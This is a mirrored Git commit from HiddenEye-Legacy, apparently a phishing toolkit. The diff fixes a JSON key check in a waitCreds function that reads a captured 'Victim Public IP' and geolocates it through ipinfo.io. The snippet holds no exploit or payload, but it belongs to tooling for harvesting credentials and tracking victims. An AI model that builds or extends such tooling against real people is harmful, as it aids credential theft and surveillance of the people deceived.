mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
Fix for json key check
This commit is contained in:
parent
99c1beef18
commit
88bb59797f
|
@ -152,7 +152,7 @@ def waitCreds():
|
|||
ip = re.match('Victim Public IP: (.*?)\n', lines).group(1)
|
||||
resp = urlopen('https://ipinfo.io/%s/json' % ip).read()
|
||||
ipinfo = json.loads(resp)
|
||||
if (ipinfo['bogon'] != None):
|
||||
if 'bogon' in ipinfo:
|
||||
print ('======================================================================'.format(RED, END))
|
||||
print (' \n{0}[ VICTIM IP BOGUS ]{1}:\n {0}%s{1}'.format(GREEN, END) % lines)
|
||||
else:
|
||||
|
|
Loading…
Reference in New Issue
Block a user